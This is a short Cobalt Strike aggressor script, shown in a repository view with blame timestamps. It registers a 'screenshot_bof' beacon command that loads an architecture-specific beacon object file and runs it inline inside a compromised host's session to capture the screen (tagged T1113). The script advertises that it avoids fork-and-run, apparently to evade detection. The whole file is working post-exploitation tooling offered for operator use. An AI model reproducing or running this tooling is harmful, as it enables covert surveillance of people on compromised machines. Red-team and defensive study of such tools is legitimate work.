ScreenshotBOF/bin/BOF/screenshotBOF.cna

23 lines
665 B
Plaintext
Raw Normal View History

2022-10-23 01:58:24 -07:00
#Register command
beacon_command_register(
"screenshot_bof",
"Alternative screenshot capability that does not do fork n run",
"Synopsis: screenshot_bof"
);
alias screenshot_bof {
local('$bid $barch $handle $data $args $target_pid');
$bid = $1;
2022-10-23 01:58:24 -07:00
# figure out the arch of this session
$barch = barch($bid);
2022-10-23 01:58:24 -07:00
# read in the right BOF file
2022-10-25 09:28:47 -07:00
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
2022-10-23 01:58:24 -07:00
$data = readb($handle, -1);
closef($handle);
2022-10-25 09:28:47 -07:00
2022-10-23 01:58:24 -07:00
# announce what we're doing
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
2022-10-23 01:58:24 -07:00
# execute it.
beacon_inline_execute($bid, $data, "go");
2022-10-25 09:28:47 -07:00
}